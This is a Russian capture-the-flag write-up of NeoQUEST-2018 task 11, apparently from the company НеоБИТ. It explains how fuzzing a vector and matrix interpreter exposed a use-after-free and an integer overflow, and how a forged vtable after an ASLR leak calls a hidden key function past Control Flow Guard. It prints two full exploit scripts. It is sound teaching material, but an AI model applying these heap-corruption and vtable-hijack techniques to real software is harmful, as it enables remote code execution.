Pwn iNt All! Находим уязвимости в скриптовых движках и вскрываем usermode-механизмы защиты Windows. Часть 1


    Операционные системы – дело тонкое. И очень защищенное! Обойти их механизмы защиты — дело сложное и трудоемкое, даже слегка похожее на волшебство. Но говорят, что сын маминой подруги уже нашел несколько RCE-уязвимостей, написал эксплойт, и обошел все защитные механизмы. Попробуем и мы!

    Сделаем это на примере задания № 11 из прошедшего NeoQUEST-2018. Задачка реалистичная — рассмотрим “живой” сценарий удаленного выполнения кода, похожий на тот, что возникает в процессе эксплуатации Javascript-движков в браузерах. Будем искать уязвимости в некотором интерпретаторе, реализовывать их с получением ARW-примитива, а в результате — обойдем защиту ОС Windows пользовательского режима. Задание оказалось крайне сложнопроходимым интересным, поэтому посвятим ему целый цикл статей с подробным описанием пути к успеху.

    По легенде, у нас имеется бинарник программы, а также адрес, на котором крутится подобный сервис. Также упомянуто о том, что первой ступенькой к успеху является некая «ключевая» функция.

    Итак, приступим!

    «Ключевой» поиск


    Рассмотрим исходные данные. Целевая программа представляет собой некий интерпретатор команд для работы с тремя типами данных: числами, векторами и матрицами. Воспользуемся командой help — это даст нам представление о наборе поддерживаемых команд. Интерпретатор позволяет:

    • Создавать переменные векторов, матриц и чисел различных размеров.
    • Переназначать и копировать переменные.
    • Работать с отдельными ячейками матриц векторов как с числами, производить с ними простейшие арифметические операции.
    • Искать значение в векторах/матрицах, узнавать тип переменной и её значение.
    • Создавать циклы с переменными границами и шагом.




    Программа реализована в виде бесконечного цикла обработки команд:



    И каждая команда представлена отдельным регулярным выражением.


    Итак, в поисках “ключевой” функции проверим бинарник на предмет характерных строк, связанных со словом “ключ” на всех языках мира. Быстро находим нужный фрагмент:




    Похоже, что в бинарнике ключ отсутствует (что логично, черт побери!). Судя по всему, на сервере крутится тот же бинарник, и в строке аргумента aFirstKeyIs2c7f там находится верный ключ! Но как получить содержимое измененной строки с удаленного сервера?

    Элементарный анализ подтверждает тот факт, что найденную нами функцию необходимо только вызвать, и строка с ключом будет напечатана в stdout. Похоже, что эта функция является виртуальным методом какого-то класса, так как:

    • В коде отсутствуют прямые вызовы (direct calls) этой функции и функции-заглушки sub_40E120.
    • Вызов sub_40E120 лежит в списке разрешенных с точки зрения механизма Control Flow Guard, что характерно для виртуальных методов – эти методы вызываются через косвенные вызовы (indirect calls).





    Итак, фронт работ ясен: необходимо научиться вызывать нужный виртуальный метод в бинарнике на серверной стороне. Есть два варианта развития событий:

    1. Попробовать найти легитимную возможность вызвать нужный метод. Теоретически это может быть недокументированная возможность программы.
    2. Поискать уязвимости. Если найти то, что позволит нам овладеть магией выполнения произвольного кода, то можно с легкостью вызвать нужный метод и получить ключ.


    С чего же начать?

    Закладки сладки


    Для начала проанализируем код на предмет недокументированных возможностей. Судя по всему, функция обработки входной строки их не содержит: используемые здесь регулярные выражения относятся лишь к вышеперечисленным командам. Да и прямых вызовов данной функции в коде нет. Может быть, среди документированных команд имеются скрытые возможности по косвенному вызову нужной нам “ключевой” функции?

    Ан нет. Некоторые команды (find, what) содержат в себе косвенные вызовы виртуальных методов, но повлиять на выбор вызываемого метода невозможно — смещения в таблице vtable везде фиксированы.





    Увы, неудача! Теперь самое время заняться поиском оправданий уязвимостей, которые позволят нам вызвать “ключевую” функцию.

    Кто ищет, тот всегда найдет, что искать


    Мы у мамы программисты, поэтому попробуем написать простейший фаззер, генерирующий случайные, синтаксически верные наборы команд для интерпретатора. По такому же принципу пишутся фаззеры Javascript и DOM при поиске уязвимостей в браузерах. Наш фаззер будет генерировать различные последовательности команд в надежде “уронить” интерпретатор. Принцип работы фаззера при генерации очередной последовательности команд следующий:

    1. Сначала создается некоторое количество переменных различных типов и размеров. Имена и типы переменных сохраняются для последующего использования.
    2. Далее каждая команда генерируется случайным образом в соответствии со списком имеющихся переменных:
      • Выбирается произвольная команда (без учета параметров) из списка: команда создания новой переменной, арифметическая операция, команда присвоения, команды find, print.
      • В зависимости от вида команды, к ней добавляются произвольные аргументы. К примеру, для команды find выбирается произвольное имя из списка доступных переменных + произвольное число, являющееся вторым аргументом. Для команды арифметической операции число параметров велико (знак операции, переменные, индексы векторов и матриц), и каждый из них также выбирается произвольно.
      • Сформированная команда добавляется в текущую последовательность. Поскольку некоторые команды могут создавать новые переменные и менять тип уже существующих, то списки с переменными в этих случаях обновляются. Это позволит задействовать новые/измененные переменные в процессе генерации последующих команд.
    3. Интерпретатор запускается под отладчиком. Сформированная последовательность передается на вход интерпретатору. Ведется регистрация возможных падений при обработке переданных команд.

    Иии… Победа! После запуска фаззера достаточно быстро удалось найти уязвимые последовательности команд, на которых интерпретатор “упал”. Результат более чем удовлетворительный — целых две различные уязвимости!

    Уязвимость №1 (UaF)


    Получив первую последовательность и очистив её от лишних команд (которые не влияют на падение интерпретатора), получаем следующий Proof-Of-Concept:



    Посмотрим повнимательнее. Узнаете? Перед нами классическая уязвимость типа Use-After-Free! Вот что происходит в данной последовательности команд:

    1. Создается большой вектор vec и целочисленная переменная intval.
    2. Создается копия вектора vec — переменная vec2.
    3. Переменной vec2 присваивается переменная другого типа (целочисленного).
    4. Попытка работать с исходным вектором vec приводит к записи в освобожденную память и, соответственно, к падению программы.




    Похоже, что в интерпретаторе реализована концепция Copy-On-Write, вследствие чего переменные vec и vec2 содержали ссылку на один и тот же буфер в памяти. При переназначении одной из переменных буфер освобождался без учета того факта, что на него имелась ссылка и в другой переменной. После этого переменная vec содержала указатель на освобожденную память, и имела к ней доступ на чтение и запись. Как итог, данная уязвимость позволяет получить произвольный доступ к участку памяти, в которой могут находиться другие объекты программы.

    Уязвимость №2 (Integer Overflow)


    Вторая проблема связана с конструктором объекта матрицы. При выделении памяти под численный массив некорректно реализована проверка ширины W и высоты H матрицы.



    В конструкторе предварительно выделяется память под W*H целочисленных ячеек. Если произведение W *H было больше, чем 232-1, то это приводит к выделению очень маленького буфера вследствие целочисленного переполнения. Это можно заметить и непосредственно в бинарнике, в конструкторе класса.



    Однако возможность последующего доступа к ячейкам этого массива определяется большими границами W и H, а не переполненным значением W *H:



    Данная уязвимость так же, как и первая, позволяет осуществлять чтение и запись в память вне допустимых границ.

    Каждая из найденных уязвимостей позволяет достичь нужного результата – стать RCE-богом и исполнить произвольный код. Рассмотрим эту процедуру в обоих случаях.

    Я тебя контролирую!


    Возможность произвольного доступа к свободному участку памяти в куче является сильным примитивом эксплуатации. Необходимо использовать поврежденный объект vec (вектор в первом случае и матрицу во втором) для контролируемой модификации какого-то другого объекта в куче процесса (назовем его victim). Нужным образом изменяя внутренние поля объекта victim, мы добьёмся выполнения произвольного кода.
    Сначала поймем, что из себя представляют объекты числа, вектора и матрицы в памяти. Вновь заглянем в бинарник и недалеко от функции обработки входной команды обнаружим вызовы конструкторов для соответствующих классов. Все они являются наследниками базового класса и имеют схожие конструкторы. Например, так выглядит конструктор объекта вектора:



    При создании объекта вызывается конструктор базового класса, затем поля объекта заполняются в соответствии с его типом. Можно увидеть назначение и порядок полей: адрес таблицы виртуальных функций, размер вектора, адрес буфера, тип объекта в виде численного идентификатора.
    Как добиться того, чтобы в освобожденном участке памяти, доступном с помощью поврежденного объекта vec, оказалась переменная victim? Будем создавать новые объекты в куче процесса сразу после приведения объекта vec в поврежденное состояние. А для поиска объекта, который таки попадет в освобожденную память, воспользуемся командой интерпретатора find. Поместим в одно из полей у создаваемых объектов какое-либо редкое значение — своеобразный magic number. Очевидно, лучше всего для этого подходит размер буфера, т.к. он задается непосредственно пользователем при создании нового объекта. Если поиск этого значения в буфере поврежденного объекта vec увенчается успехом, значит, мы нашли нужный объект!
    Продемонстрируем нахождение объекта victim для обеих уязвимостей. Действия на данном этапе будут несколько отличаться друг от друга.

    В случае с первой уязвимостью типа UaF команда find осуществляет поиск в ограниченном участке памяти — его размер совпадает с размером освобожденного буфера у объекта vec. Выделение объекта в куче производится системным аллокатором и не является детерминированным процессом. Мы так подберем размеры буфера у изначального объекта vec и у создаваемых объектов, чтобы какой-нибудь из них попал в нужную память за небольшое число попыток:



    Отлично, мы успешно нашли объект-жертву victim (он же v1 в данном случае)!

    При выполнении того же сценария с использованием второй уязвимости все будет несколько сложнее. В этом случае поиск будет потенциально вестись во всей памяти, поскольку ширина W либо высота H матрицы будут велики. Однако если нужного числа в непосредственной близости от буфера не будет, то цикл поиска будет выходить за границы отображенной в адресное пространство памяти. Это приведет к падению процесса интерпретатора до нахождения заветного magic number. Эта проблема решается выделением большого количества объектов в памяти — хотя бы один из них попадет в память непосредственно вблизи буфера.





    Бинго! И в данном случае мы также нашли объект victim!

    А теперь самое интересное — необходимо понять, как именно изменить объект victim и как запустить с его помощью выполнение нужного нам кода. Итак, мы успешно поместили в освобожденную память объект класса “вектор”. Схематично это выглядит как-то так:



    Объект victim находится в доступном нам с помощью объекта vec участке кучи, и мы можем как читать поля объекта victim, так и изменять их. Также нам известно смещение числа bufsize в буфере объекта vec. Теперь модифицируем объект victim следующим образом:

    1. Прочитаем адрес таблицы vtable, тем самым раскрывая исполняемый адрес в памяти (и побеждая защиту ASLR).
    2. Изучив бинарник интерпретатора, найдем константную разницу между адресом таблицы vtable для объекта вектора и адресом “ключевой” функции. Это позволит вычислить адрес “ключевой” функции на стороне сервера:


    3. Сформируем ложную таблицу vtable прямо в буфере объекта victim, куда запишем только что вычисленный адрес “ключевой” функции.
    4. Заменим адрес истинной таблицы vtable у объекта victim на адрес ложной.
    5. Вызовем команду what у объекта victim. Благодаря манипуляции с таблицей vtable вместо подлинного виртуального метода вызовется наша, “ключевая” функция. Поскольку мы вызываем целую функцию, а не отдельные ROP-гаджеты, защита Contol Flow Guard вызову функции никак не препятствует.



    Данная схема вызова нужной нам функции является идентичной для обеих уязвимостей.

    Мы в шаге от успеха, осталось собрать все воедино и получить ключ! Ниже рассмотрим оба примера.
    Так выглядит код работающего эксплойта для уязвимости типа Use-After-Free:



    Код эксплойта для уязвимости типа Use-After-Free
    var vec[4096]
    var m2:=vec
    var va=3
    m2:=va
    va=find(vec,256)
    var v1[256]
    va=find(vec,256)
    var vtb=0
    vtb=va-1
    var buf=0
    buf=va+1
    var func=0
    func=vec[vtb]-1547208
    func=func+57632
    v1[0]=func
    vec[vtb]=vec[buf]
    what v1



    А так — для уязвимости типа Integer Overflow:



    Код эксплойта для уязвимости типа Integer Overflow
    var m[65537][65536]
    var v1[256]
    var v2[256]
    var v3[256]
    var v4[256]
    var v6[256]
    var v5[256]
    var v7[256]
    var v8[256]
    var v9[256]
    var v10[256]
    var v11[256]
    var v12[256]
    var v13[256]
    var v14[256]
    var v16[256]
    var v15[256]
    var v17[256]
    var v18[256]
    var v19[256]
    var v20[256]
    var v21[256]
    var v22[256]
    var v23[256]
    var v24[256]
    var v25[256]
    var v26[256]
    var v27[256]
    var v28[256]
    var v29[256]
    var v30[256]
    var v31[256]
    var v32[256]
    var v33[256]
    var v34[256]
    var v35[256]
    var v36[256]
    var v37[256]
    var v38[256]
    var v39[256]
    var v40[256]
    var varr=0
    var varc=0
    varr=find(m,256).row
    varc=find(m,256).col
    var vtb=0
    vtb=varc-1
    var buf=0
    buf=varc+1
    var func=0
    func=m[varr][vtb]-1547208
    func=func+57632
    v1[0]=func
    v2[0]=func
    v3[0]=func
    v4[0]=func
    v5[0]=func
    v6[0]=func
    v7[0]=func
    v8[0]=func
    v9[0]=func
    v10[0]=func
    v11[0]=func
    v12[0]=func
    v13[0]=func
    v14[0]=func
    v15[0]=func
    v16[0]=func
    v17[0]=func
    v18[0]=func
    v19[0]=func
    v20[0]=func
    v21[0]=func
    v22[0]=func
    v23[0]=func
    v24[0]=func
    v25[0]=func
    v26[0]=func
    v27[0]=func
    v28[0]=func
    v29[0]=func
    v30[0]=func
    v31[0]=func
    v32[0]=func
    v33[0]=func
    v34[0]=func
    v35[0]=func
    v36[0]=func
    v37[0]=func
    v38[0]=func
    v39[0]=func
    v40[0]=func
    m[varr][vtb]=m[varr][buf]
    what v1
    what v2
    what v3
    what v4
    what v5
    what v5
    what v6
    what v7
    what v8
    what v9
    what v10
    what v11
    what v12
    what v13
    what v14
    what v15
    what v16
    what v17
    what v18
    what v19
    what v20
    what v21
    what v22
    what v23
    what v24
    what v25
    what v26
    what v27
    what v28
    what v29
    what v30
    what v31
    what v32
    what v33
    what v34
    what v35
    what v36
    what v37
    what v38
    what v39
    what v40 


    Ура! Получен ключ, а бонусом к нему — важная информация. Оказывается, имеется и второй ключ, но он лежит в файле рядом с бинарником на стороне сервера. Для решения данной задачи требуется строить ROP-цепь, а значит, придется обходить CFG. Но об этом — в следующей статье!

    А мы напоминаем, что всем, кто прошел полностью хотя бы одно задание на NeoQUEST-2018, полагается приз! Проверяйте почту на наличие письма, а если вдруг оно вам не пришло — пишите на support@neoquest.ru!
    НеоБИТ
    68,00
    Компания
    Поделиться публикацией

    Комментарии 0

    Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

    Самое читаемое